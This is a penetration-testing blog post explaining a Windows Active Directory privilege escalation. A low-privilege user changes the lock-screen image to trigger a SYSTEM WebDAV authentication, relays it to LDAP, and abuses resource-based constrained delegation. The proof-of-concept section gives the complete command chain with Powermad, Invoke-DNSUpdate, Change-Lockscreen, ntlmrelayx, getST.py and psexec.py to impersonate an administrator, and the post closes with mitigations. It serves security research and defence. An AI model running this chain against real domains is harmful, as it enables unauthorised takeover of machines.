Kerberos Resource-Based Constrained Delegation: When an Image Change Leads to a Privilege Escalation
Introduction
During a recent Active Directory assessment we had access as a low-privilege user to a fully-patched and secured domain workstation. After trying a number of different approaches to elevate privileges locally, we came across the blog post “Wagging the Dog: Abusing Resource-Based Constrained Delegation to Attack Active Directory” [1] from Elad Shamir.
One of the attacks outlined within the post caught our attention. A low-privilege user could abuse the user profile image changing functionality so as to achieve a network authentication as SYSTEM from the given computer. This authentication would then be relayed to the Active Directory LDAP service in order to set up Resource-Based Constrained Delegation [2] to that specific machine.
This seemed like an interesting approach but we had one problem - the attack required access to a graphical interface. Unfortunately, our compromise had been obtained using a reverse shell and we had not yet found a secure way to access the graphical interface. We were going to have to get rid of that GUI dependency.
Objective
This blog post explains how we were able to bypass the graphical interface dependency and elevate our privileges locally on a fully patched Windows 10 domain machine. As we noted [1], this attack is not new, but we have removed some of its dependencies and, at the same time, we have automated the process in order to make it more convenient for the operator.
Attack requirements
At the time of writing, an attacker would need to satisfy the following requirements to compromise an Active Directory computer object with this technique:
1. An account with at least one ServicePrincipalName (SPN). This account will be configured to be “Allowed To Act On Behalf Of Other Identity” on the victim’s system and will be used to invoke the S4U2self and S4U2proxy protocols.
2. WebDAV Redirector feature must be installed on the victim machine. This is because the WebDAV client does not negotiate signing, thus permitting authentication relays to LDAP.
2.1. SMB relays could be achieved using the recently discovered signing/MIC NTLM bypasses, but this has been already patched by Microsoft. [6][7]
3. A DNS record pointing to the attacker’s machine. WebDAV clients will only authenticate automatically to hosts in the intranet zone. This means that using an IP instead of a hostname would not work.
4. Access to the GUI in order to use the "Create your picture --> Browse for one" functionality. One of the steps is done by System (therefore, the machine account in the network) and a WebDAV path can be specified (maliciousWebDav@80picspic.jpg)
The following details will be useful when attempting to satisfy the dependencies set out above:
1. The default Active Directory ms-DS-MachineAccountQuota attribute allows all domain users to add up to 10 machine accounts to the domain [4]. Additionally, a machine account has values on its SPN attribute thus permitting the use of the S4U protocols.
2. On Windows 10, the WebDAV client is installed by default. On Windows Server 2012R2 and prior, the Desktop Experience feature is required. On Windows Server 2016 and later the WebDAV Redirector feature must be installed manually.
3. By default, authenticated users have the 'Create all child objects' ACL on the Active Directory-Integrated DNS (ADIDNS) zone. This enables the creation of new DNS records.
The first three requirements were quite easy to accomplish as they represented default Active Directory and Windows configurations. However, the GUI dependency was a frustrating limitation in our scenario.
Changing the image through the command line
As a first approach, we investigated changing the profile image using an API or Windows command utility - but without success. However, we found that the same attack path could be exposed by the manipulation of the lock screen image.
The screenshot below illustrates this.
Investigating the lock screen image functionality we found that, in this case, an API was available to perform the lock screen image change [3]. Using this API we finally achieved a SYSTEM network authentication through the command line.
A PowerShell script and a C# assembly were written to exploit this API. We called the utility Change-Lockscreen and it is available at the following link:
Using this tool, an operator indicates the path to a WebDAV that is offering an image and Change-Lockscreen will perform the operation causing the desired network authentication.
Note that, by default, Windows 10 has a feature called Windows Spotlight. This feature downloads and displays lock screen images automatically. When this feature is enabled, Change-Lockscreen will disable it and establish the image specified in the arguments (try to use an opsec one!). But, if the user has set a static, custom lock screen image instead of using Spotlight, then Change-Lockscreen will backup that image and put it back in place when the attack is done.
Implementing the attack in Impacket
Initially, we used the rbcd_relay.py delegation relay tool developed by 3xocyte (working with Elad Shamir) [5]. But while this worked very well in some of our testing scenarios, it did not cover everything we needed. So we decided to build on 3xocyte’s work and our own additions to the SecureAuth’s Impacket project [13] by doing a pull request.
Our approach added a new flag to ntlmrelayx called --serve-image. With this new flag, ntlmrelayx will offer the specified image to fulfil the purposes of the attack.
In addition, to take advantage of WebDAV’s server functionality, it was necessary to implement both the OPTIONS and PROPFIND methods in httprelayserver.py. The OPTIONS method is used to inform the client that the PROPFIND method is supported and enabled. It is the PROPFIND request which includes the NTLM authentication and so this the request that will be relayed to perform the attack (an example request is shown in the image below).
- ntlmrelayx.py -t ldap://dc01.capsule.corp --delegate-access --escalate-user machine$ --serve-image ./spot.jpg
These functionalities are already merged in Impacket and can be found at:
Proof of Concept
The following video illustrates the attack using Change-Lockscreen and ntlmrelayx:
The steps listed below correspond to the numbered stages of the above video:
1. We need an account with values on the ServicePrincipalName attribute to be able to invoke S4U2Self and S4U2Proxy. We can abuse the default Active Directory ms-DS-MachineAccountQuota attribute to add a machine account to the domain and use it (Powermad [11]).
$pass = ConvertTo-SecureString ‘NCC1234!’ -AsPlainText -Force ; New-MachineAccount –MachineAccount s4umachine -Password $pass
2. We have to create a DNS record (ImageServer.capsule.corp) pointing to the attacker machine (attacker IP).
$cred = New-Object System.Management.Automation.PSCredential (“CAPSULEs4umachine”, $pass); Invoke-DNSUpdate -DNSType A -DNSName ImageServer.capsule.corp -DNSData 10.10.11.137 -Credential $cred -Realm capsule.corp
3. We trigger Fileserver’s network authentication by changing the lock screen image using our low-priv user.
Change-Lockscreen –Webdav imageserver@80
4. Using ntlmrelayx, the authentication is relayed to LDAP. This allows us to modify the msDS-AllowedToActOnBehalfOfOtherIdentity attribute of the machine.
Ntlmrelayx.py -t ldap://dc01.capsule.corp --delegate-access --escalate-user s4umachine$ --serve-image ./spot.jpg
5. Now we can impersonate any user on any service on Fileserver using the trusted machine (S4UMachine$).
getST.py capsules4umachine:’NCC1234!’@fileserver.capsule.corp -spn cifs/fileserver.capsule.corp -impersonate administrator -dc-ip 10.10.11.128
Export KRB5CCNAME=administrator.ccache
Psexec.py -k -no-pass fileserver.capsule.corp
The short video linked below is a graphical, conceptual representation of the steps involved in the attack.
Mitigations and Detections
The following points can help to mitigate and detect this kind of attacks:
- Since this attack depends on a computer being able to configure Kerberos Resource-based Constrained Delegation for itself, a new ACE on computers that denies themselves from writing to the msDS-AllowedToActOnBehalfOfOtherIdentity attribute would help mitigate the surface of this attack.
- Implementing an appropriate SACL to the msDS-AllowedToActOnBehalfOfOtherIdentity attribute would help in detecting modifications to this feature.
- Finally, enabling LDAP signing with channel binding would mitigate the authentication relays performed with this attack.
For a full and detailed explanation on this topic, refer to Wagging the Dog [1].
References
[1] https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html
[2] https://docs.microsoft.com/en-us/windows-server/security/kerberos/kerberos-constrained-delegation-overview
[3] https://docs.microsoft.com/en-us/uwp/api/windows.system.userprofile.lockscreen
[4] https://docs.microsoft.com/es-es/windows/desktop/adschema/a-ms-ds-machineaccountquota
[5] https://gist.github.com/3xocyte/4ea8e15332e5008581febdb502d0139c
[6] https://www.preempt.com/blog/cve-2019-1040-windows-vulnerability/
[7] https://dirkjanm.io/exploiting-CVE-2019-1040-relay-vulnerabilities-for-rce-and-domain-admin/
[8] https://dirkjanm.io/worst-of-both-worlds-ntlm-relaying-and-kerberos-delegation/
[9] http://www.harmj0y.net/blog/activedirectory/a-case-study-in-wagging-the-dog-computer-takeover/
[10] https://www.harmj0y.net/blog/redteaming/another-word-on-delegation/
[11] https://github.com/Kevin-Robertson/Powermad
[12] https://shenaniganslabs.io/2019/08/08/Lock-Screen-LPE.html
[13] https://github.com/SecureAuthCorp/impacket
Published date: 20 August 2019
Written by: Daniel López Jiménez and Simone Salucci